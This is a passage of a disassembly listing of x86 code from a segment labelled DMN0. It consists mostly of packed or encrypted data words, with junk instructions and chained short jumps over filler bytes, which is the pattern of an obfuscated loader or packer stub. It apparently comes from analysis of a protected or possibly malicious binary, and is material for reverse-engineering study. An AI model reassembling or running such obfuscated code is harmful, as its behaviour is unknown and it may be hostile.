94916FA9h dd 0EE0E65C6h, 2D99416Dh, 0F5EB0297h, 0CA61D49Ah, 6A7B4E6Ch dd 616BB7Ch, 0B3FBCED5h, 7EBDE3CDh, 98769AE3h, 3071538Eh dd 6A3A33A8h, 77C8B64h, 0B358DA4Ah, 0E8FC31E5h, 6264F895h dd 0A3ED3B08h, 0BF1E8DF4h, 803F09AFh, 6488AF36h, 5B7981EAh dd 0F82E271Bh, 935F7D86h, 0FC1FD9E0h, 0D8B9AC50h, 0BCF4A162h dd 0DB133219h, 0F9996B43h, 33FDAD7Fh, 0D815A706h, 4FE6710Eh dd 0A4890A2Bh, 6D1A997Ch, 0C1987D76h, 0A9BD2429h, 0F4F439DBh dd 0C8428EB2h, 0CCF944EAh, 39BF102h, 271926B3h, 2FE8B039h dd 71EC4D33h, 0BC864F0Ah, 0BDDC489h, 6F74E25Eh, 0A4AD9BB8h dd 0F2F9E531h, 0AAFCBD0Fh, 0C62C2B01h, 4B30AD45h, 0D6F37E35h dd 0F0DB8BAEh, 0A476B105h, 78D23D6Eh, 3D25E31h, 59735029h dd 843F7974h, 0BD4BD118h, 0B9EAE3C7h, 40FDA3A8h, 90B3349Eh dd 7EF87487h, 5177E849h, 4FF4B09Fh, 6AAB2AF4h, 1420ABC6h dd 0F984B365h, 67201234h, 907B94BEh, 41F799BBh, 7FF229B3h dd 3365A779h, 773B2A79h, 0D0F27BE7h, 53A2390Fh, 0AE26E0A6h dd 220F3A8Ah, 469FB912h, 0AAA018DCh, 0F442A76Bh, 1980549Fh dd 37E563C2h, 0B3B4C4EAh, 0CC36BDBCh, 961E1C57h, 0E636B802h dd 0E673353Ah, 1337756Eh, 7F59557Ah, 8CF42977h, 0B71FA9D8h dd 9F40A4EAh, 0DCE6586Ah, 5ABFA2F3h, 0A7D5EF4Dh, 0B1971811h dd 4B65A4BCh, 70556AFFh, 6DE3A487h, 0C14A2B40h, 0B56B8289h dd 370CB74Dh, 5D9F71FEh, 3AF55200h, 775DFDDEh, 7E6FC2FAh dd 4D47B980h, 0CC8E0A4h, 72AD850Ah, 0A7DE9603h, 0DD9E0DCDh dd 0FBDE6AFDh, 0FBDB44DBh, 0EFC48FB0h, 0C551D5DBh, 556FE1BBh dd 0EB7CD675h, 634E6F25h, 1E563952h, 5E37521Ah, 1C477F7Ah dd 20AA73E9h, 740BA2FFh, 8A22A2DAh, 821DF8E2h, 4ADEF289h dd 2DE28A6Dh, 0B31E7833h, 33F138D5h, 1D3D0AB2h, 0DF3A3C55h dd 4CA5D66Eh, 0F247D45Ch, 7CFD52CCh, 5F1B992Ch, 5D7FAB98h dd 0EA1CCC6Bh, 0E54CBA29h, 566299D6h, 0B3F812Bh, 8FBA2A49h dd 7F83B8A4h, 7AE91BF4h, 98D1DC9Ah, 2DC13152h, 878EFE9Fh dd 0F318F3h, 0D6569144h, 0A6E5F614h, 49D3FFB4h, 0A1A89182h dd 0D0466317h, 0F0EC1BE1h, 8C5F6553h, 20550275h, 45127C48h dd 419F536Bh, 0A241EBEh, 21CA166Fh, 0F2CA7CC0h, 332FF2Dh dd 869D859Dh, 475CC261h, 826AF96Dh, 801B3967h, 60AB5B3Ch dd 4E36F818h, 0EBFEB905h, 3FDDCA4Ch, 0DB1D68C8h, 9E923E84h dd 7250C60Eh, 0C786E17Bh, 4DAEB18h, 4EAE60CAh, 350A0D5Dh dd 816F0ACFh, 1117B36Dh, 842B3C36h, 1A8E7BADh, 1D1D6132h dd 0EBEB84F6h, 0B6F555C1h, 908F7834h, 3FB17763h, 13947E4Dh dd 0E9BF5943h, 0D94A2B0Ch dd 59C1F488h, 4A71A669h, 3409C36Fh, 0B17C0705h, 3B33C0CFh dd 0D5FBEF1Eh, 6F156862h, 0C5BBA20Dh, 5F7ACCDBh, 381E5769h dd 93379523h, 9C34AD12h, 0F16D33D0h, 0E3393747h, 0B71091BAh dd 0A120E061h, 0A0460867h, 0CA186FBFh, 71710C17h, 0B91D052Eh dd 0D466C76Ah, 4B6F787h, 1136724Fh, 0A9A60A2Eh, 0E19D4178h dd 9B83888Eh, 0E5CAA1E1h, 0A23E2964h, 26F69ADAh, 81E11B60h dd 0A7954B66h, 6B7AE5BDh, 257E2D3h, 0EEA713F4h, 0DE610CAAh dd 64FB38C6h, 2CA06022h, 0DD473AACh, 0A48F6B65h, 9C8449AAh dd 67FA6C6Ch, 252F4ECDh, 0E54E82CBh, 93C3ACB7h, 0A66CE77Fh dd 55483067h, 0C38357FAh, 40A23F49h, 0BC9DCDDCh, 0EBB9301h dd 8424A938h, 9B8CBC22h, 46379362h, 7BA9D528h, 0A51CA1E7h dd 63E716D4h, 0EBB468B8h, 6734CF2Ch, 597D5C17h, 0F2C7A984h dd 695B2C32h, 0B017DBE7h, 12A070ADh, 5541A41Eh, 7B9001FFh dd 0F5C59FBh, 7050DAE8h, 27E344FBh, 0BD555B2Dh, 0F6141427h dd 30FC4251h, 0EABAD387h, 0B4A6F7E5h, 0E06CE52h, 9CF6226h dd 0F91F32A1h, 0E7C3F4Eh, 9A21F08h, 4BCD986Bh, 0B556BC70h dd 2A254F5Ch, 8232F474h, 147C03EAh, 0A9519844h, 0B2030CC9h dd 0E47222BCh, 0DA4A231Fh, 296A1C30h, 0BAFE9DE0h, 0D59A3997h dd 0A7EC4E3Eh, 270E2B8Eh, 0A2447EA1h, 0C0591BABh, 0F202C1ABh dd 179F2470h, 0AE8BE1BCh, 0E78EA501h, 0B1DE1791h, 0A87697DFh dd 91D2502Dh, 8EFCE1h, 0DA74284Ch, 0EB3FDCh, 72F45956h dd 0DEABFF44h, 0CDE9C1D8h, 22CC971Bh, 0D4DD97B0h, 50DA024Dh dd 73859FB6h, 7268ADC1h, 5174B676h, 953AD096h, 4AF0D470h dd 4ED4DDB3h, 0C54A736Ah, 83EF154Fh, 58EC716Fh, 751FE34Dh dd 0EB11BC07h, 0C249A52Eh, 9F595D70h, 9A1CD892h, 0E747A1EAh dd 0D8262FAEh, 37E126DEh, 3F409D5Eh, 7D5FB1FEh, 0A2AFB4CBh dd 0D5D1F264h, 0B3873328h, 0F2BF3F91h, 69DCA439h, 0DFF56E87h dd 0DDF01B1Dh, 0C3F822C2h, 9EE5E3FAh, 7FDF62E6h, 0CC00B67Eh dd 5D9BDCC9h, 7B0608CEh, 4553B851h, 1CA41D0Ah, 921A7933h dd 0FC9A871Eh, 94DB5BD0h, 8B8D144Fh, 6173C1FEh, 0AFA8AD1Eh ; --------------------------------------------------------------------------- or edi, [eax] loc_4286EE: ; CODE XREF: DMN0:00429506j pop esi imul byte ptr [esi+13B82AF1h] mov ecx, 43641D8Ah xor [eax-65775BF9h], edx and eax, 2BC73838h fstp tbyte ptr [edi] sbb al, 0A3h in eax, dx xchg bh, cl or al, 2Ah lds edi, [ebp+60h] mov al, 28h outsb out 0DAh, eax in al, 51h dec esp inc edx add ch, [edi] cmp eax, 3D5B755Dh push ss call far ptr 2C82h:596ABD5Fh pop es pop es cmp [ebp+64h], eax cmp ch, [ecx+7Eh] into jmp far ptr 1613h:5B79E71Bh ; --------------------------------------------------------------------------- db 60h, 63h, 0ABh ; --------------------------------------------------------------------------- inc ecx js short loc_42878C imul ebx, [eax-7Dh], 77451524h or eax, 95F5821Dh les edx, [esi] stosb xor [edx+63A5349Ah], dl sub edx, ebp stosd or bh, al retf 0FFBh ; --------------------------------------------------------------------------- dd 33E1388h, 0D1A737BEh, 86799D46h, 73E22EB2h, 2EAD800Fh dd 44F82201h, 0CF7A0239h, 57B7198Eh, 0F624CFF3h, 48BA64F8h dd 1EE21234h, 0C29FF359h ; --------------------------------------------------------------------------- loc_42878C: ; CODE XREF: DMN0:0042873Dj xchg dh, [ebp+4Eh] mov ds:85F666CCh, al and al, 30h inc edi mov edx, 200EF2B2h cmp al, 3Ah in al, dx and byte ptr [edi-46h], 1Ah mov es, word ptr [ecx] rcr dword ptr [eax], 82h inc esp int 3 ; Trap to Debugger and bl, [eax+2FACACEDh] lahf adc al, 4Dh loope loc_4287C9 mov ecx, 4DD7FE8Fh popa pop es retf ; --------------------------------------------------------------------------- sub eax, 0A8C15611h retf ; --------------------------------------------------------------------------- db 0E9h dd 1608746Eh db 0E8h ; --------------------------------------------------------------------------- loc_4287C9: ; CODE XREF: DMN0:004287B3j fisubr dword ptr [eax+esi*8+49CCC2E7h] sahf inc ebx aam 0B9h add eax, 59FF3436h xchg eax, ecx pusha js short loc_4287E9 push ebx retn ; --------------------------------------------------------------------------- db 0BAh dd 2E3D822Ah, 655799E2h db 0C2h ; --------------------------------------------------------------------------- loc_4287E9: ; CODE XREF: DMN0:004287DBj call near ptr 3E5BA997h mov cl, 53h pop esi mov [esi+esi], ebp ; --------------------------------------------------------------------------- dd 3CE04C8Fh, 0D0C83C3Bh, 83050B45h, 401EAA7Dh, 2D1FA6B3h dd 200386EDh, 9B69AE9h, 1C6D9275h, 8A039239h, 3863BC4Ch dd 77238A47h, 434B49D9h, 72ADF523h, 0B16ED510h, 6D523449h dd 8A45BD09h, 1674FB3Dh, 0A35A3BD0h, 2D8D6845h, 0E13740DBh dd 0A9819849h, 73C1FC52h, 9E097F2Eh, 0DCE52483h, 1CFA99AAh dd 985C64FBh, 0CCBCBFA8h, 8E187431h, 39F83C16h, 0DBFA9124h dd 82586BA8h, 0F9F29DAh, 0C82C557h, 7A49B8ABh, 0A6847660h dd 8B7049E4h, 27929B95h, 1109E2E9h, 5725F19Bh, 0AC4EC7A1h dd 3B2C738h, 117BC4A3h, 173553DCh, 87164878h, 0E021A6B3h dd 5A898B4Ah, 0A053891Ch, 403019C1h, 0DB470750h, 2E3EA0E5h dd 25B8909Bh, 0FFB3D922h, 812D6386h, 0FE6C2ABCh, 9C635E34h dd 0AB721846h, 0D2C08D28h, 8437534h, 287D081Ch, 481FC4B1h dd 5788BCD8h, 41A6B126h, 0B605DE76h, 9B92D885h, 6414AF71h dd 0F34F7444h, 25B4B971h, 7372CF61h, 17DB214Dh, 8A2A5157h dd 240E24CDh, 3B00102Bh, 11D968DCh, 3926F538h, 2E5E0797h dd 0B79E4591h, 96DC81C9h, 6060916Fh, 46B0EEA0h, 6A513F96h dd 0AA2C1F7Dh, 0EB704EBCh, 4F3943F9h, 840A3957h, 4D9F518Eh dd 873E610h, 0A5508E6Ch, 0E5132F60h, 3AC45477h, 0B59FE585h dd 0EC86012Fh, 31411A62h, 1189FF19h, 0D80E5098h, 0F432FF7h dd 0C9EB3B10h, 21035AAFh, 5CA45EAFh, 1AB2E631h, 0F6A5E85Ah dd 49226B61h, 0BEE2F560h, 0B93D00A1h, 0D03D7B1Ch, 0BB46DA1Ah dd 0F7C246C2h, 7E374065h, 10CCEE35h, 5425445Ch, 63C9E57Fh dd 35EBDE53h, 0E1F02023h, 30D81020h, 0F8AEF88Ah, 460E960Ch dd 2D8AC6FFh, 208E7A5Ch, 36BF2148h, 0EC38EC7Bh, 66A26122h dd 80178253h, 5331974Bh, 11F8C880h, 7018B9E6h, 54E1B1B7h dd 42ECC43Eh, 0B5F5325Bh, 0CF55C69Dh, 3BA51E85h, 6BA6CE14h dd 8BD4E974h, 0FE13CD64h, 9E121846h, 892301C6h, 8D8CD055h dd 0EFBAF739h, 8880E2FDh, 2D12E030h, 0EC156C94h, 0DC60095Ch dd 59CC2297h, 13B6A1Ah, 40586952h, 9DF95976h, 0E563DA45h dd 0DE241169h, 8E280F05h, 539FE4EDh, 63AD3378h, 0A6A33CF7h dd 0D8C8672Ah, 5197ECCAh, 26F6129Bh, 262DFD45h, 39C4E493h dd 2B3C0512h, 0FB36B62Bh, 9653172Eh, 6416CCEDh, 2B6A4C2Bh dd 0B735CC57h, 28BE74A7h, 62B82A4Fh, 9F8487EBh, 43D3AF84h dd 0E95C19B2h, 7FF3F01Dh, 0FCF11200h, 47D1BA1Eh, 8BF13BE1h dd 0A9062524h, 2A80409Ah, 0DDF4C784h, 144810ECh, 2F6B545Fh dd 1CDFAB0h, 2846CDFDh, 6948C8B1h, 0B9E3B651h, 54078061h dd 9B741BEDh, 2465D4Ah, 0A254347h, 94F39BB1h, 0E548CFFEh dd 8B2208A6h, 1F27DD21h, 37A5A98Fh, 0E0C38E8Eh, 0C04B51E6h dd 437C4ABCh, 0F9ECB94Ah, 85519E64h, 6182AE76h, 0C4A65B83h dd 0D8C3D92Ch, 0B37CE9A5h, 8AD2FD1Fh, 568779CAh, 7E77364h dd 0CCA0F273h, 4E24BE18h, 52022E37h, 601AACF3h, 225AB4A6h dd 2C90FFDAh, 7624C4Ah, 0A35D8873h, 0A1CF4598h, 586CA010h dd 0E65AE722h, 87F694F2h, 14C11D45h, 0E167E497h, 1848E749h dd 6B7BDD03h, 1AA11CCDh, 0C6B13AD8h, 7DD18963h, 4A5172E5h dd 2C3BD2E9h, 1A67907Ch, 2FE47EB1h, 37EC8A3Eh, 0E83402EDh dd 52C9BF57h, 0E4A91615h, 415020C1h, 0E8954D89h, 5AA732C4h dd 483B3A19h, 0E3520885h, 334E825Bh, 46D14EDAh ; --------------------------------------------------------------------------- push 24h push ebp mov ebp, esp mov eax, [esp+8] mov ebp, eax pusha mov eax, 46806E18h push eax jmp short loc_428BB5 ; --------------------------------------------------------------------------- dd 78B5B78Eh db 0E6h ; --------------------------------------------------------------------------- loc_428BB5: ; CODE XREF: DMN0:00428BAEj jmp short loc_428BCE ; --------------------------------------------------------------------------- adc [edx], eax and esi, esi enter 7C96h, 6Bh dec edx xchg eax, esi rol dword ptr [esi+79EED5B4h], 0CEh fstp tbyte ptr [eax+4Fh] cmpsb mov dh, 9Ah loc_428BCE: ; CODE XREF: DMN0:loc_428BB5j std or edx, 0FFFFFFFFh jmp short loc_428BEF ; --------------------------------------------------------------------------- dd 0BF5A5489h, 0BE1D218Ch, 489C2BF4h, 0C26E8436h, 0BE55FFA0h dd 0EF005651h db 62h, 82h, 45h ; --------------------------------------------------------------------------- loc_428BEF: ; CODE XREF: DMN0:00428BD2j dec esi jmp short loc_428BF7 ; --------------------------------------------------------------------------- dw 5B94h db 81h, 0DEh, 7Ch ; --------------------------------------------------------------------------- loc_428BF7: ; CODE XREF: DMN0:00428BF0j jmp short loc_428C17 ; --------------------------------------------------------------------------- align 2 dw 23A5h db 90h db 20h, 0D6h, 58h dd 61407B61h, 0E0E3A30Ah, 0B3D8C45h, 0F0FE0522h, 8805D8B3h db 51h, 21h, 41h ; --------------------------------------------------------------------------- loc_428C17: ; CODE XREF: DMN0:loc_428BF7j jmp short loc_428C33 ; --------------------------------------------------------------------------- db 55h, 73h, 8Bh dd 7B25B6FBh, 435F91Ah, 4A6CFE52h, 13FDDEB1h, 36F06051h ; --------------------------------------------------------------------------- movsb dec edx cmpsb loc_428C33: ; CODE XREF: DMN0:loc_428C17j jmp short loc_428C4A ; --------------------------------------------------------------------------- sti retf ; --------------------------------------------------------------------------- db 16h dd 85740CF6h, 21F1850Fh, 2D7C57E9h, 0A2C3E98h ; --------------------------------------------------------------------------- inc eax retn ; --------------------------------------------------------------------------- loc_428C4A: ; CODE XREF: DMN0:loc_428C33j inc edx jmp short loc_428C51 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 9D33h db 8Dh ; --------------------------------------------------------------------------- loc_428C51: ; CODE XREF: DMN0:00428C4Bj test ebx, 2E1E3D33h jmp short loc_428C77 ; --------------------------------------------------------------------------- db 0EFh, 39h, 6Bh dd 0C27C94DBh, 0DCBB8399h, 0A41B103Bh, 0AAE58CA4h, 536CCCAAh dd 9E596538h db 6Eh, 0F6h, 0C6h ; --------------------------------------------------------------------------- loc_428C77: ; CODE XREF: DMN0:00428C57j xchg edi, edi jmp short loc_428C8C ; --------------------------------------------------------------------------- db 0A2h dd 0DBAD57EDh, 0F0BB735Ch, 39585DA7h, 0B701F0E9h ; --------------------------------------------------------------------------- loc_428C8C: ; CODE XREF: DMN0:00428C79j jmp short loc_428CA7 ; --------------------------------------------------------------------------- dw 0DE84h dd 9DEA49ACh, 86B54412h, 0EA0E4948h, 76FF1DFDh, 9F786F20h db 75h, 5Ah, 0C1h ; --------------------------------------------------------------------------- loc_428CA7: ; CODE XREF: DMN0:loc_428C8Cj bswap ebx jmp short loc_428CBB ; --------------------------------------------------------------------------- db 82h dd 0D357BD11h, 3C5EC9E6h, 9BAC1824h db 9Ch, 0C9h, 0D9h ; --------------------------------------------------------------------------- loc_428CBB: ; CODE XREF: DMN0:00428CA9j xchg edi, edx xchg eax, ebp jmp short loc_428CC3 ; --------------------------------------------------------------------------- align 2 db 29h ; --------------------------------------------------------------------------- loc_428CC3: ; CODE XREF: DMN0:00428CBFj jmp short loc_428CD2 ; --------------------------------------------------------------------------- db 8Ch, 0DEh, 0D6h dd 0E9D29437h, 13530CB6h ; --------------------------------------------------------------------------- sbb cl, [ecx] loc_428CD2: ; CODE XREF: DMN0:loc_428CC3j jmp short loc_428CE1 ; --------------------------------------------------------------------------- dd 33145A3Dh, 0CFEA2709h, 7EFFC111h ; --------------------------------------------------------------------------- pop esp loc_428CE1: ; CODE XREF: DMN0:loc_428CD2j test ebx, 8F578930h add edi, 31000h cld xchg ebx, ebp jmp short loc_428D0D ; --------------------------------------------------------------------------- dw 6373h dd 2059C328h, 67A39815h, 0DBA36744h, 51331F2Ch, 4912F2F0h dd 0D39B506Ah ; --------------------------------------------------------------------------- cli loc_428D0D: ; CODE XREF: DMN0:00428CF0j test edx, 10FDA7DFh jmp short loc_428D31 ; --------------------------------------------------------------------------- push esi jmp dword ptr [ecx] ; --------------------------------------------------------------------------- dd 69D8B712h, 2BF69A9Bh, 345F8683h, 0D7B34323h, 4D799C9h dd 0E6BB0183h ; --------------------------------------------------------------------------- cdq loc_428D31: ; CODE XREF: DMN0:00428D13j or ecx, 0FFFFFFFFh cmc stc jmp short loc_428D52 ; --------------------------------------------------------------------------- dd 63F47420h, 7CC645B8h, 32D2D7A6h, 0A584A4EBh, 0FD85DA4Bh dd 7FBB69A6h db 2Eh, 3Fh ; --------------------------------------------------------------------------- loc_428D52: ; CODE XREF: DMN0:00428D36j test ebp, 237A3A12h jmp short $+2 jmp short loc_428D74 ; --------------------------------------------------------------------------- dd 0DC663733h, 6B565267h, 0C4F2E906h, 0D77B4326h, 85633769h dd 0E145F586h ; --------------------------------------------------------------------------- loc_428D74: ; CODE XREF: DMN0:00428D5Aj inc ecx jmp short loc_428D8B ; --------------------------------------------------------------------------- db 55h dd 3DDEE21Fh, 94E1B221h, 1C194416h, 0A66E440Dh db 8, 74h, 2Ch ; --------------------------------------------------------------------------- loc_428D8B: ; CODE XREF: DMN0:00428D75j jmp short loc_428D9A ; --------------------------------------------------------------------------- db 0DBh, 61h, 4Ch dd 4B0672E4h, 0C7F139E6h ; --------------------------------------------------------------------------- push esi loc_428D9A: ; CODE XREF: DMN0:loc_428D8Bj jmp short loc_428DBB ; --------------------------------------------------------------------------- dd 50483EFEh, 0F1765CA6h, 9F9A95FAh, 0E72662A0h, 394DF86Eh dd 0E5348228h, 0E87B476h db 93h, 77h, 0B1h ; --------------------------------------------------------------------------- loc_428DBB: ; CODE XREF: DMN0:loc_428D9Aj xchg esp, ebp jmp short loc_428DCC ; --------------------------------------------------------------------------- db 0Eh dd 0A44125DCh, 522C0170h, 0C76EA79Bh ; --------------------------------------------------------------------------- loc_428DCC: ; CODE XREF: DMN0:00428DBDj jmp short loc_428DD9 ; --------------------------------------------------------------------------- dw 7827h dd 4912FA49h, 0EC69AD13h db 0DDh ; --------------------------------------------------------------------------- loc_428DD9: ; CODE XREF: DMN0:loc_428DCCj jmp short loc_428DDD ; --------------------------------------------------------------------------- db 64h ; --------------------------------------------------------------------------- scasb loc_428DDD: ; CODE XREF: DMN0:loc_428DD9j add ecx, 514Bh loc_428DE3: ; CODE XREF: DMN0:00429392j jmp short loc_428DF4 ; --------------------------------------------------------------------------- test byte ptr [eax+565DA39Fh], 0CAh xor dl, [ecx+54h] mov ecx, 341A00DCh loc_428DF4: ; CODE XREF: DMN0:loc_428DE3j jmp short loc_428E02 ; --------------------------------------------------------------------------- dw 0CC0Dh dd 0DFDEF10h, 0D9F03FE0h db 0Ah, 81h ; --------------------------------------------------------------------------- loc_428E02: ; CODE XREF: DMN0:loc_428DF4j neg ebx not esi jmp short loc_428E0D ; --------------------------------------------------------------------------- dd 9BDB8082h ; --------------------------------------------------------------------------- aaa loc_428E0D: ; CODE XREF: DMN0:00428E06j xchg ebx, esp neg edx bswap esi xchg ebx, edx jmp short loc_428E21 ; --------------------------------------------------------------------------- db 17h dd 88E6EC1Fh, 9CCC8F48h db 20h ; --------------------------------------------------------------------------- loc_428E21: ; CODE XREF: DMN0:00428E15j jmp short loc_428E29 ; --------------------------------------------------------------------------- db 0B6h dd 4B937288h db 0 ; --------------------------------------------------------------------------- loc_428E29: ; CODE XREF: DMN0:loc_428E21j bswap esi bswap esi jmp short loc_428E3C ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- movsd xchg eax, esi and al, 0 dec esi push edx icebp clc dec eax push es movsd push ss loc_428E3C: ; CODE XREF: DMN0:00428E2Dj jmp short $+2 jmp short loc_428E56 ; --------------------------------------------------------------------------- popf scasd push 0CE5DD9B4h mov bl, 26h cmp bl, [ecx+ebp*8+4CB0BCB9h] rcr ebx, 82h leave and edi, esp loc_428E56: ; CODE XREF: DMN0:00428E3Ej cld jmp short loc_428E5F ; --------------------------------------------------------------------------- xchg eax, esp test eax, 1275BDA5h loc_428E5F: ; CODE XREF: DMN0:00428E57j jmp short loc_428E64 ; --------------------------------------------------------------------------- db 76h, 16h, 71h ; --------------------------------------------------------------------------- loc_428E64: ; CODE XREF: DMN0:loc_428E5Fj mov edx, eax jmp short loc_428E72 ; --------------------------------------------------------------------------- dd 0A174007h, 794FC58Ah db 2 dup(20h) ; --------------------------------------------------------------------------- loc_428E72: ; CODE XREF: DMN0:00428E66j jmp short loc_428E8C ; --------------------------------------------------------------------------- dd 0D1603E9Eh, 1E613113h, 0E4AC42DBh, 0C4BD55Ah, 275ECBA1h dd 16F80DBFh ; --------------------------------------------------------------------------- loc_428E8C: ; CODE XREF: DMN0:loc_428E72j cmc xchg ebx, ecx add edx, edi jmp short loc_428E9E ; --------------------------------------------------------------------------- db 65h dd 83A87349h, 0FEDD7455h ; --------------------------------------------------------------------------- push eax push ss loc_428E9E: ; CODE XREF: DMN0:00428E91j xor ecx, 2CA099FDh jmp short loc_428EA9 ; --------------------------------------------------------------------------- dw 2AD0h db 8Ah ; --------------------------------------------------------------------------- loc_428EA9: ; CODE XREF: DMN0:00428EA4j xchg ebp, edi jmp short loc_428EC4 ; --------------------------------------------------------------------------- db 6Eh, 46h, 38h ; --------------------------------------------------------------------------- test bh, bh retn 0AD10h ; --------------------------------------------------------------------------- db 0F0h, 8Ah, 7Fh dd 0A6A00023h, 2B3220DDh, 45FFD1A6h ; --------------------------------------------------------------------------- loc_428EC4: ; CODE XREF: DMN0:00428EABj jmp short loc_428EDA ; --------------------------------------------------------------------------- dw 3910h dd 0C0E6DFDCh, 596C5B6Fh, 4B06F65Ch, 0D8D7D47Fh db 2Fh, 18h ; --------------------------------------------------------------------------- loc_428EDA: ; CODE XREF: DMN0:loc_428EC4j jmp short loc_428EE6 ; --------------------------------------------------------------------------- push 0C87F39F8h mov edx, 0DD1620Bh loc_428EE6: ; CODE XREF: DMN0:loc_428EDAj bswap esi clc xchg ebp, ebp jmp short loc_428F0B ; --------------------------------------------------------------------------- db 0ECh, 2Bh, 1Ch dd 0FDB245C6h, 9AF20E1Fh, 0AE49761Bh, 0E464A00Bh, 35DAB48Eh dd 98D286A2h db 12h, 7Ch, 0D9h ; --------------------------------------------------------------------------- loc_428F0B: ; CODE XREF: DMN0:00428EEBj jmp short loc_428F28 ; --------------------------------------------------------------------------- db 6Eh, 8Bh, 3 ; --------------------------------------------------------------------------- cmp eax, 59AC1BDFh mov eax, 2DBD8362h cwde mov ebp, 0ACCDE1A0h mov dword ptr [ebp-42h], 3D645F25h scasb loc_428F28: ; CODE XREF: DMN0:loc_428F0Bj mov esp, [edx] jmp short loc_428F34 ; --------------------------------------------------------------------------- dd 0F8D05212h, 0B0749434h ; --------------------------------------------------------------------------- loc_428F34: ; CODE XREF: DMN0:00428F2Aj dec esi stc jmp short loc_428F3B ; --------------------------------------------------------------------------- db 0F6h, 98h, 36h ; --------------------------------------------------------------------------- loc_428F3B: ; CODE XREF: DMN0:00428F36j jmp short loc_428F52 ; --------------------------------------------------------------------------- db 55h, 0E5h, 36h dd 69C924E2h, 45553D69h, 0EF40D974h, 10173FDCh ; --------------------------------------------------------------------------- sub al, 78h loc_428F52: ; CODE XREF: DMN0:loc_428F3Bj add ecx, 1263C87Ah xor esp, [edi] jmp short loc_428F76 ; --------------------------------------------------------------------------- dd 8ECD2465h, 0FC7D34CCh, 11A383E5h, 2E3016DBh, 9D3D7695h dd 0DF05399Ch ; --------------------------------------------------------------------------- fldcw word ptr [ebx] loc_428F76: ; CODE XREF: DMN0:00428F5Aj jmp short loc_428F82 ; --------------------------------------------------------------------------- dd 8A2FA587h, 0CDBEF098h db 5Eh, 0CAh ; --------------------------------------------------------------------------- loc_428F82: ; CODE XREF: DMN0:loc_428F76j xchg ebp, edx jmp short loc_428F95 ; --------------------------------------------------------------------------- dw 0EC5Fh dd 97B4132Fh, 792BAEAEh, 54692FB5h db 0B2h ; --------------------------------------------------------------------------- loc_428F95: ; CODE XREF: DMN0:00428F84j jmp short loc_428F98 ; --------------------------------------------------------------------------- db 0B3h ; --------------------------------------------------------------------------- loc_428F98: ; CODE XREF: DMN0:loc_428F95j xchg esp, [edi] jmp short loc_428FAE ; --------------------------------------------------------------------------- dd 74258A5Eh, 0DB300B3Ah, 0E0D1B867h, 0E408C794h ; --------------------------------------------------------------------------- add esp, esi loc_428FAE: ; CODE XREF: DMN0:00428F9Aj jmp short loc_428FC6 ; --------------------------------------------------------------------------- dd 0B2414103h, 0A933A5Ch, 0E4D3A9BEh, 2E04A463h, 0D842FD7Eh ; --------------------------------------------------------------------------- sbb ah, dl loc_428FC6: ; CODE XREF: DMN0:loc_428FAEj jmp short loc_428FE6 ; --------------------------------------------------------------------------- dd 0DDA50ECh, 0D528ADC4h, 0EDF06DABh, 0A202AF6Bh, 64C96025h dd 0B739EB2Ah, 90D4E907h ; --------------------------------------------------------------------------- push ebp pop eax loc_428FE6: ; CODE XREF: DMN0:loc_428FC6j jmp short loc_428FF1 ; --------------------------------------------------------------------------- dd 0D11D76EEh, 0A0D5FE12h db 0F3h ; --------------------------------------------------------------------------- loc_428FF1: ; CODE XREF: DMN0:loc_428FE6j jmp short $+2 xchg ebx, esp jmp short loc_42900D ; --------------------------------------------------------------------------- db 3Eh ; --------------------------------------------------------------------------- mov byte ptr [eax+308F3E84h], 0F7h add al, 29h xor eax, 0FFFFFFDEh push ss db 3Eh xchg eax, esi retf 702Ah ; --------------------------------------------------------------------------- mov bl, 63h inc esi loc_42900D: ; CODE XREF: DMN0:00428FF5j clc jmp short loc_429020 ; --------------------------------------------------------------------------- dd 86C8143Dh, 792ED9A7h, 87231FDEh, 0C97CCB00h ; --------------------------------------------------------------------------- loc_429020: ; CODE XREF: DMN0:0042900Ej rcl esi, 20h jmp short loc_429033 ; --------------------------------------------------------------------------- db 0FEh, 0B9h, 0E9h dd 0BC9A55CEh, 0DDB167B1h db 82h, 7Dh, 14h ; --------------------------------------------------------------------------- loc_429033: ; CODE XREF: DMN0:00429023j add ebp, 483F126Fh clc jmp short loc_429050 ; --------------------------------------------------------------------------- dd 1F2CD907h, 7CC9981Ah, 0F06D00C2h, 1AC38274h, 0ACA55BF7h ; --------------------------------------------------------------------------- loc_429050: ; CODE XREF: DMN0:0042903Aj rol ebx, 1 cmc jmp short loc_429065 ; --------------------------------------------------------------------------- mul byte ptr [esi] and al, 0B8h mov dl, 8Dh sub edi, [ecx-6] sub al, 0B0h sahf std adc edi, [esi+43h] loc_429065: ; CODE XREF: DMN0:00429053j not esi jmp short loc_429083 ; --------------------------------------------------------------------------- db 3Eh, 76h, 0CEh ; --------------------------------------------------------------------------- push ebp inc esi cmp al, 4Bh and byte ptr [ebp+274819B5h], 0D9h jz short loc_4290C0 retn ; --------------------------------------------------------------------------- dw 94Dh dd 5ADEE9D3h db 8Fh, 0C2h, 2Dh ; --------------------------------------------------------------------------- loc_429083: ; CODE XREF: DMN0:00429067j add ebx, 0F1533F5Eh jmp short loc_429098 ; --------------------------------------------------------------------------- db 1Fh dd 680D090Dh, 73DDB41Dh, 29E732EDh ; --------------------------------------------------------------------------- loc_429098: ; CODE XREF: DMN0:00429089j jmp short loc_4290A0 ; --------------------------------------------------------------------------- dw 8CCFh ; --------------------------------------------------------------------------- push ebp inc esi jge short near ptr byte_42910D loc_4290A0: ; CODE XREF: DMN0:loc_429098j bswap ebp test ebp, 6A3439A9h xchg ebx, [edi] jmp short loc_4290BC ; --------------------------------------------------------------------------- dd 86361912h, 0D468E60Eh, 28DD8897h, 0DDDCA39Ah ; --------------------------------------------------------------------------- loc_4290BC: ; CODE XREF: DMN0:004290AAj inc ebp cmc bswap esi loc_4290C0: ; CODE XREF: DMN0:00429077j jmp short loc_4290CD ; --------------------------------------------------------------------------- retf 86E8h ; --------------------------------------------------------------------------- lodsb adc eax, 5847F7F6h dec ebp cld loc_4290CD: ; CODE XREF: DMN0:loc_4290C0j jmp short loc_4290E5 ; --------------------------------------------------------------------------- db 0D6h dd 0A743D063h, 752A1378h, 0F9A8CA2Ah, 6FD0A613h, 7D290789h db 0D3h ; --------------------------------------------------------------------------- loc_4290E5: ; CODE XREF: DMN0:loc_4290CDj xchg esi, ebx jmp short loc_4290EE ; --------------------------------------------------------------------------- db 5Ah, 0B8h, 1Ah db 44h, 2Eh ; --------------------------------------------------------------------------- 